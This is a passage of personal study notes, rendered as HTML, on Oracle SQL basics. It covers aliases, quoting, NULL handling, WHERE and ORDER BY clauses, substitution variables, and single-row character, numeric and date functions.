&lt;span id="cb1-5"&gt;&lt;a aria-hidden="true" href="#cb1-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; Addition&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;NOTE: Operations with the same level of precedence are evaluated from
left to right. If more than one operator with the same level of
precedence is present in an expression, then these will be evaluated
from left to right.&lt;/p&gt;
&lt;h3 id="chapter-2-continued"&gt;Chapter 2 Continued&lt;/h3&gt;
&lt;ol start="13" type="1"&gt;
&lt;li&gt;&lt;p&gt;select col1 [AS] &lt;alias&gt; -&amp;gt; For column aliasing we can use
[as] or just a space - &amp;gt;using AS -&amp;gt; good SQL coding habit&lt;/alias&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Most Common Errors .. ORA-00923: FROM keyword not found where
expected .. ORA-00942: table or view does not exist&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Case preservation of an alias is only possible if the alias is
double quoted and double quotes are needed if the alias is more than one
word&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“ORA-00923: FROM keyword not found where expected” - multi word
alias is not double quoted&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;|| represent the character concatenation operator&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;select ‘literal’||‘processing using the REGIONS table’ from
regions;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;‘Plural’s with the literal ’Plural’’s&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;double quotes cannot be used&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;alternative quote (q) operator -&amp;gt; wrapping symbols -&amp;gt;
(round brackets), {curly braces}, [square brackets], or
&lt;angle brackets=""&gt;&lt;/angle&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Using the q operator, the character delimiter can effectively be
changed from a single quotation mark to any other character&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;format-&amp;gt; select q’X -&amp;gt; q’ is the notation and X is the
delimiter character Ex: select q’X’Test this String for Plural’s X’ “qX”
from dual; ‘Test this String for Plural’s X’ -&amp;gt; is the test
string&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If we use one of the wrapping symbols, then q’&amp;lt;‘sdfgdfgd&amp;gt;’
can be given where ‘&amp;gt;’ is taken as the delimiter&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Any arithmetic calculation with a NULL value always returns NULL.
even division by a null value results in null, unlike division by zero,
which results in an error&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The character concatenation operators ignore null, whilst the
arithmetic operations involving null values always result in
null&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;All arithmetic operations with null will give null as the answer,
while concatenation will just ignore the null value and give the rest as
the answer&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-3"&gt;CHAPTER 3&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;SELECT *|{[DISTINCT] column|expression [alias],…} FROM table [WHERE
condition(s)];&lt;/li&gt;
&lt;li&gt;where salary = 10000; where salary = ‘10000’;Both formats are
acceptable to Oracle since an implicit data type conversion is performed
when necessary.&lt;/li&gt;
&lt;li&gt;String concatenations and arithmetic operations can also be used in
the WHERE clause&lt;/li&gt;
&lt;li&gt;The literals are automatically converted into DATE values based on
the default date format, which is DD-MON-RR. [RR means 50-99 will be
1950 to 1999 and 0-50 will be 2000 and 2050]&lt;/li&gt;
&lt;li&gt;That DATE values are only equal to each other if there is an exact
match between all their components including day, month, year, hours,
minutes, and seconds.&lt;/li&gt;
&lt;li&gt;The entire four-digit year component (YYYY) can been specified&lt;/li&gt;
&lt;li&gt;START_DATE + 30 returns a DATE 30 days later than the
start_date&lt;/li&gt;
&lt;li&gt;END_DATE - START_DATE gives a NUMBEr&lt;/li&gt;
&lt;li&gt;Not Equal - != (or) &amp;lt;&amp;gt;&lt;/li&gt;
&lt;li&gt;Testing character inequality : the strings being compared on either
side of the inequality operator are converted to a numeric
representation of its character [same for &amp;lt; or &amp;gt;]&lt;/li&gt;
&lt;li&gt;The Oracle server stores dates in an internal numeric format, and
these values are compared within the conditions.&lt;/li&gt;
&lt;li&gt;BETWEEN &amp;lt;###&amp;gt; &amp;gt;= and &amp;lt;=&lt;/li&gt;
&lt;li&gt;IN operator - equivalent to multiple ORs&lt;/li&gt;
&lt;li&gt;wildcards - % [0 or more characters] and _ [1 character]&lt;/li&gt;
&lt;li&gt;like ‘%’ - all rows with the values NOT NULL&lt;/li&gt;
&lt;li&gt;% and _ can be escaped using ‘' [backslash] and denoted as like ’a%’
ESACPE ’'&lt;/li&gt;
&lt;li&gt;we can changed the Escape character as well&lt;/li&gt;
&lt;li&gt;For Null checks always use IS NULL&lt;/li&gt;
&lt;li&gt;FOR AND operator - If the row contains a NULL value that causes one
of the conditions to evaluate to NULL, then that row is excluded&lt;/li&gt;
&lt;li&gt;SELECT * FROM EMPLOYEES WHERE SALARY LIKE ‘%80%’; - Oracle
temporarily changes the NUMBER to CHAR data for the comparison&lt;/li&gt;
&lt;li&gt;Usage of NOT: where NOT (last_name=‘King’), where first_name NOT
LIKE ‘R%’,where department_id NOT IN (10,20,30),where salary NOT BETWEEN
1 and 3000,where commission_pct IS NOT NULL&lt;/li&gt;
&lt;li&gt;WHERE A and B or C or D and E, then a row will be returned if both
conditions A and B are fulfilled, or only condition C is met, or only
condition D is met, or both conditions D and E are fulfilled. Conditions
seperated by AND needs both to be satisfied while OR needs only one of
them to be satisfied&lt;/li&gt;
&lt;li&gt;Precedence&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;NOT&lt;/span&gt;] &lt;span class="kw"&gt;LIKE&lt;/span&gt;, &lt;span class="kw"&gt;IS&lt;/span&gt; [&lt;span class="kw"&gt;NOT&lt;/span&gt;] &lt;span class="kw"&gt;NULL&lt;/span&gt;, [&lt;span class="kw"&gt;NOT&lt;/span&gt;] &lt;span class="kw"&gt;IN&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;NOT&lt;/span&gt;] &lt;span class="kw"&gt;BETWEEN&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;!=&lt;/span&gt;,&lt;span class="op"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-4"&gt;&lt;a aria-hidden="true" href="#cb2-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;NOT&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-5"&gt;&lt;a aria-hidden="true" href="#cb2-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;AND&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-6"&gt;&lt;a aria-hidden="true" href="#cb2-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;OR&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="24" type="1"&gt;
&lt;li&gt;SELECT *|{[DISTINCT] column|expression [alias],…} FROM table [WHERE
condition(s)] [ORDER BY {col(s)|expr|numeric_pos} [ASC|DESC] [NULLS
FIRST|LAST]];&lt;/li&gt;
&lt;li&gt;The default sort order is assumed to be NULLS LAST for ascending
sorts and NULLS FIRST for descending sorts.&lt;/li&gt;
&lt;li&gt;If no ORDER BY clause is specified, the same query executed at
different times may return the same set of results in different row
order, so no assumptions should be made regarding the default row
order.&lt;/li&gt;
&lt;li&gt;Positional sorting applies only to columns in the SELECT list that
have a numeric position associated with them&lt;/li&gt;
&lt;li&gt;Composite Sorting: order by job_id desc, last_name, 3 desc;&lt;/li&gt;
&lt;li&gt;The ampersand character (&amp;amp;) is the symbol chosen to designate a
substitution variable in a statement and precedes the variable name with
no spaces between them&lt;/li&gt;
&lt;li&gt;When the statement is executed, the Oracle server processes the
statement, notices a substitution variable, and attempts to resolve this
variable’s value in one of two ways. .. First, it checks whether the
variable is defined in the user session. (The DEFINE command). .. If the
variable is not defined, the user process prompts for a value that will
be substituted in place of the variable. .. Once a value is submitted,
the statement is complete and is executed by the Oracle server. .. The
ampersand substitution variable is resolved at execution time and is
sometimes known as runtime binding or runtime substitution.&lt;/li&gt;
&lt;li&gt;SUBSTITUTION: any alphanumeric name and invalid data type gives
ORA-00904: invalid identifier error is returned.&lt;/li&gt;
&lt;li&gt;Date and Character literals need to be enclosed within quotes. Best
Practice is to define the substitution with quotes so that the date and
character will be quoted without the user need&lt;/li&gt;
&lt;li&gt;When the Oracle server encounters a double ampersand substitution
variable, a session value is defined for that variable and you are not
prompted to enter a value to be substituted for this variable in
subsequent references.&lt;/li&gt;
&lt;li&gt;To undefine the SEARCH variable, you need to use the UNDEFINE
command&lt;/li&gt;
&lt;li&gt;any element of a SQL statement is a candidate for substitution&lt;/li&gt;
&lt;li&gt;column name references do not require single quotes both when
explicitly specified and when substituted via ampersand
substitution&lt;/li&gt;
&lt;li&gt;DEFINE command can be used to retrieve a list of all the variables
currently defined in your SQL session&lt;/li&gt;
&lt;li&gt;It can also be used to explicitly define a value for a variable
referenced as a substitution variable by one or more statements during
the lifetime of that session.&lt;/li&gt;
&lt;li&gt;SET DEFINE OFF -&amp;gt; Makes &amp;amp; as an ordinary character&lt;/li&gt;
&lt;li&gt;The VERIFY command controls whether the substitution variable
submitted is displayed onscreen so you can verify that the correct
substitution has occurred&lt;/li&gt;
&lt;li&gt;SET VERIFY ON|OFF&lt;/li&gt;
&lt;li&gt;VERIFY is switched ON, the query is executed, and you are prompted
to input a value. Once the value is input and before the statement
commences execution, Oracle displays the clause containing the reference
to the substitution variable as the old clause with its line number and,
immediately below this, the new clause displays the statement containing
the substituted value.&lt;/li&gt;
&lt;li&gt;NULLS LAST can be applied in the ORDER BY clause for every column -
ORDER BY 3 DESC NULLS LAST, 2 ASC;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-4"&gt;CHAPTER 4&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;case conversion - LOWER, UPPER, and INITCAP&lt;/li&gt;
&lt;li&gt;character manipulation - LENGTH, CONCAT, SUBSTR, INSTR, LPAD, RPAD,
TRIM, and REPLACE&lt;/li&gt;
&lt;li&gt;CONCAT takes only two strings are parameters&lt;/li&gt;
&lt;li&gt;SUBSTR(string, start position, number of characters) - 1 indexed ..
if the position is not found -&amp;gt; gives no result .. if the length is
larger, returns only the available characters&lt;/li&gt;
&lt;li&gt;INSTR -&amp;gt; similar to indexOf -&amp;gt; INSTR(source string, search
item, [start position],[nth occurrence of search item]) -&amp;gt; returns 0
if not found&lt;/li&gt;
&lt;li&gt;LPAD(string, length after padding, padding string) and RPAD(string,
length after padding, padding string)&lt;/li&gt;
&lt;li&gt;TRIM - &amp;gt; by default trims spaces TRIM(‘#’ from ‘#PASS#WORD##’)
-&amp;gt; ‘PASS#WORD’&lt;/li&gt;
&lt;li&gt;REPLACE(string, search item, replacement item) - All the
instances&lt;/li&gt;
&lt;li&gt;ROUND, TRUNC, MOD - Numeric functions&lt;/li&gt;
&lt;li&gt;ROUND(number, decimal precision) - round(42.39,1) = 42.4 -&amp;gt;
&amp;gt;=5 will be rounded to its ceiling&lt;/li&gt;
&lt;li&gt;TRUNC -&amp;gt; just drops the additional numerals - trunc(42.39,1) =
42.3&lt;/li&gt;
&lt;li&gt;MOD(dividend, divisor) -&amp;gt; mod(42,10) = 2&lt;/li&gt;
&lt;li&gt;MONTHS_BETWEEN, ADD_MONTHS, LAST_DAY, NEXT_DAY, SYSDATE, ROUND, and
TRUNC -&amp;gt; date functions&lt;/li&gt;
&lt;li&gt;MONTHS_BETWEEN(greater_date, smaller_date) -&amp;gt;
MONTHS_BETWEEN(‘2-JAN-2008’,‘01-JAN-2008’) -&amp;gt; .0322 -&amp;gt; stored as a
decimal value. Need to TRUNC to get only the MONTHS value&lt;/li&gt;
&lt;li&gt;LAST_DAY(date 1) function returns the last day of the month that the
specified date falls into,&lt;/li&gt;
&lt;li&gt;NEXT_DAY(date 1, day of the week) returns the date on which the next
specified day of the week falls after the given date (if day of the week
is not valid, throws error)&lt;/li&gt;
&lt;li&gt;SYSDATE function takes no parameters and returns a date value that
represents the current server date and time&lt;/li&gt;
&lt;li&gt;ROUND(date, date precision format) and TRUNC(date, date precision
format) round and truncate a given date value to the nearest date
precision format like day, month, or year:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb3"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb3-1"&gt;&lt;a aria-hidden="true" href="#cb3-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;sysdate&lt;/span&gt; &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="dv"&gt;17&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dt"&gt;DEC&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;2007&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-2"&gt;&lt;a aria-hidden="true" href="#cb3-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;round&lt;/span&gt;(&lt;span class="fu"&gt;sysdate&lt;/span&gt;,&lt;span class="st"&gt;'month'&lt;/span&gt;) &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="dv"&gt;01&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;JAN&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;2008&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-3"&gt;&lt;a aria-hidden="true" href="#cb3-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;trunc&lt;/span&gt;(&lt;span class="fu"&gt;sysdate&lt;/span&gt;,&lt;span class="st"&gt;'month'&lt;/span&gt;) &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="dv"&gt;01&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dt"&gt;DEC&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;2007&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-4"&gt;&lt;a aria-hidden="true" href="#cb3-4" tabindex="-1"&gt;&lt;/a&gt;[Works &lt;span class="kw"&gt;only&lt;/span&gt; &lt;span class="kw"&gt;in&lt;/span&gt; &lt;span class="dv"&gt;11&lt;/span&gt;g]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="19" type="1"&gt;
&lt;li&gt;&lt;p&gt;Oracle’s implementation of SQL is compliant with the ANSI:1999
(American National Standards Institute) standard for SQL. .. More
recently, it claimed partial compliance to the SQL:2003 standard
endorsed by both ISO (International Organization for Standardization)
and ANSI. .. SQL functions have been standardized, and Oracle has
documented those that are fully or partially compliant to the SQL:2003
standard.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Character Case Conversion Functions - If parameters are numeric
or date value, it is implicitly converted into a string.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;select lower(‘The SUM’||‘100+100’||’ = ’||(100+100)) from dual
-&amp;gt; the sum 100+100 = 200. Calculations are done if inside
bracket&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;(SYSDATE+2) -&amp;gt; Adds two days&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;select initcap(‘init cap or init_cap or init%cap’) from dual
-&amp;gt; Init Cap Or Init_Cap Or Init%Cap .. space, _,%,!, $ are all used
as word seperators. Punctuation or special characters are regarded as
valid word separators.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;concat(1+2.14,’ approximates pi’) -&amp;gt; 3.14 approximates
pi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LPAD(s, n, p) and RPAD(s, n, p), .. if the parameter n is smaller
than or equal to the length of the source string s, then no padding
occurs and only the first n characters of s are returned&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TRIM([trailing|leading|both] trimstring from s). .. TRIM(trailing
trimstring from s) removes all occurrences of trimstring from the end of
the string s if it is present .. TRIM(leading trimstring from s) removes
all occurrences of trimstring from the beginning of the string s if it
is present. .. TRIM(both trimstring from s) removes all occurrences of
trimstring from the beginning and end of the string s if it is present
.. [both appears to be optional]&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;INSTR(source string, search string, [search start position], [nth
occurrence]) .. A negative number for the start position gives the
occurence from the End instead of the beginning .. However, if the
Occurence is ignored, then it just does a absolute of the
position&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SUBSTR(source string, start position, [number of characters to
extract]) -&amp;gt; negative number in start position begins the search from
that position from the End of the String&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;REPLACE(source string, search item, [replacement term]) If the
replacement term parameter is omitted, each occurrence of the search
item is removed from the source string&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the specified decimal precision is n, the digit significant to
the rounding is found (n + 1) places to the RIGHT of the decimal point.
.. If it is negative, the digit significant to the rounding is found n
places to the LEFT of the decimal point. .. If the numeric value of the
significant digit is greater than or equal to 5, a “round up” occurs,
else a “round down” occurs. .. round(1301.916718,-3) -&amp;gt; 1000 ..
round(1601.916718,-3) -&amp;gt; 2000 .. round(1601.916718) -&amp;gt;
1602&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A numeric truncation is different from rounding because the
resulting value drops the numbers at the decimal precision specified and
does not attempt to round up or down if the decimal precision is
positive. .. However, if the decimal precision specified (n) is
negative, the input value is zeroed down from the nth decimal position.
.. trunc(1301.916718,-3) -&amp;gt; 1000 .. trunc(1601.916718,-3) -&amp;gt; 1000
.. trunc(1601.916718) -&amp;gt; 1601&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The MOD function returns the numeric remainder of a division
operation .. If the divisor is zero, no division by zero error is
returned and the MOD function returns a zero instead .. If the divisor
is larger than the dividend, then the MOD function returns the dividend
as its result .. MOD(5.2,3) -&amp;gt; 2.2 .. MOD(7,0) -&amp;gt; 0 [result is 7
in 10g] .. MOD(0,7) -&amp;gt; 0 .. MOD(7,35) -&amp;gt; 7&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The default format of the results comprises two digits that
represent the day, a three-letter abbreviation of the month, and two
digits representing the year component. .. By default, these components
are separated with hyphens in SQL*Plus and forward slashes in SQL
Developer 34.. Date Format Mask&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;     DD     &lt;span class="dt"&gt;Day&lt;/span&gt; &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="dt"&gt;month&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;     MON    &lt;span class="dt"&gt;Month&lt;/span&gt; &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="dt"&gt;year&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;     YY     Two&lt;span class="op"&gt;-&lt;/span&gt;digit &lt;span class="dt"&gt;year&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;     YYYY   Four&lt;span class="op"&gt;-&lt;/span&gt;digit &lt;span class="dt"&gt;year&lt;/span&gt; &lt;span class="kw"&gt;including&lt;/span&gt; century&lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a aria-hidden="true" href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;     RR Two&lt;span class="op"&gt;-&lt;/span&gt;digit &lt;span class="dt"&gt;year&lt;/span&gt; (&lt;span class="dt"&gt;Year&lt;/span&gt; &lt;span class="dv"&gt;2000&lt;/span&gt;–compliant)&lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a aria-hidden="true" href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;     CC     Two&lt;span class="op"&gt;-&lt;/span&gt;digit century&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a aria-hidden="true" href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;     HH Hours &lt;span class="kw"&gt;with&lt;/span&gt; AM &lt;span class="kw"&gt;and&lt;/span&gt; PM&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a aria-hidden="true" href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;     HH24   Twenty&lt;span class="op"&gt;-&lt;/span&gt;four&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="kw"&gt;hour&lt;/span&gt; &lt;span class="dt"&gt;time&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a aria-hidden="true" href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;     MI     Minutes&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a aria-hidden="true" href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;     SS Seconds&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="35" type="1"&gt;
&lt;li&gt;&lt;p&gt;The SYSDATE function returns the DD-MON-RR components of the
current system date&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Date1 - Date2 = Num1; Date1 - Num1 = Date2; Date1 = Date2 +
Num1;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;use 6/24 to add hours&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MONTHS_BETWEEN(start date, end date)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ADD_MONTHS (start date, number of months) .. The number of months
may be negative, resulting in a target date earlier than the start date
being returned. .. The number of months may be fractional, but the
fractional component is ignored and the integer component is
used&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;NEXT_DAY (start date, day of the week) .. The acceptable values
are determined by the NLS_DATE_LANGUAGE database parameter but the
default values are at least the first three characters of the day name
or integer values, where 1 represents Sunday, 2 represents Monday, and
so on. .. NEXT_DAY(‘02-JAN-2009’,‘WEDNE’) -&amp;gt; Works using the First
three chars ‘WED’&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LAST_DAY(start date)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ROUND(source date, [date precision format]) -&amp;gt; [No implicit
conversion for DATE] .. The date precision format parameter specifies
the degree of rounding and is optional. If it is absent, the default
degree of rounding is day. .. The date precision formats include century
(CC), year (YYYY or YEAR), quarter (Q), month (MM or MONTH), week (W),
day (DD), hour (HH), and minute (MI)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Rounding up to century is equivalent to adding one to the current
century. .. Rounding up to the next month occurs if the day component is
greater than 15(&amp;gt; 15) , else rounding down to the beginning of the
current month occurs. .. If the month falls between one and six, then
rounding to year returns the date at the beginning of the current year,
else it returns the date at the beginning of the following year&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TRUNC(source date, [date precision format]) .. The date precision
format parameter specifies the degree of truncation and is optional. ..
If it is absent, the default degree of truncation is day .. Any time
component of the source date is set to midnight or 00:00:00 .. TRUNC is
similar to ROUND, except it is always the FLOOR and never the CEILING ..
TRUNC(TO_DATE(‘31-JAN-2009’),‘MM’) -&amp;gt; 01-JAN-2009&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Functions dont need parameters&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-5"&gt;Chapter 5&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;length(1234) -&amp;gt; implicit conversion for numbers and dates to char
-&amp;gt; 4 is the result&lt;/li&gt;
&lt;li&gt;mod(‘11’,2) -&amp;gt; implicit conversion - .. mod(‘$11’,2) -&amp;gt;
ORA-1722: invalid number&lt;/li&gt;
&lt;li&gt;Implicit date conversion should not have Time parameters [Check
this]. Implicit conversion for dates can occur if the pattern follows
&lt;code&gt;[D|DD] separator1 [MON|MONTH] separator2 [R|RR|YY|YYYY]&lt;/code&gt;
&lt;em&gt;separator1 and separator2 elements may be most punctuation marks,
spaces, and tabs&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;add_months&lt;/span&gt;(&lt;span class="st"&gt;'1\january/8'&lt;/span&gt;,&lt;span class="dv"&gt;1&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;01&lt;/span&gt;&lt;span class="op"&gt;/&lt;/span&gt;FEB&lt;span class="op"&gt;/&lt;/span&gt;&lt;span class="dv"&gt;08&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;months_between&lt;/span&gt;(&lt;span class="st"&gt;'13*jan*8'&lt;/span&gt;, &lt;span class="st"&gt;'13/mar/2008'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;2&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a aria-hidden="true" href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;add_months&lt;/span&gt;(&lt;span class="st"&gt;'01$jan/08'&lt;/span&gt;,&lt;span class="dv"&gt;1&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;01&lt;/span&gt;&lt;span class="op"&gt;/&lt;/span&gt;FEB&lt;span class="op"&gt;/&lt;/span&gt;&lt;span class="dv"&gt;08&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a aria-hidden="true" href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;add_months&lt;/span&gt;(&lt;span class="st"&gt;'13!jana08'&lt;/span&gt;,&lt;span class="dv"&gt;1&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ORA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;1841&lt;/span&gt;: (&lt;span class="kw"&gt;full&lt;/span&gt;) &lt;span class="dt"&gt;year&lt;/span&gt; must be &lt;span class="kw"&gt;between&lt;/span&gt; –4713 &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt;&lt;span class="dv"&gt;9999&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="kw"&gt;not&lt;/span&gt; be &lt;span class="dv"&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-5"&gt;&lt;a aria-hidden="true" href="#cb5-5" tabindex="-1"&gt;&lt;/a&gt;jana &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;not&lt;/span&gt; a valid &lt;span class="dt"&gt;month&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;only&lt;/span&gt; &lt;span class="dv"&gt;3&lt;/span&gt; characters &lt;span class="kw"&gt;or&lt;/span&gt; &lt;span class="kw"&gt;full&lt;/span&gt; &lt;span class="dt"&gt;month&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; allowed&lt;/span&gt;
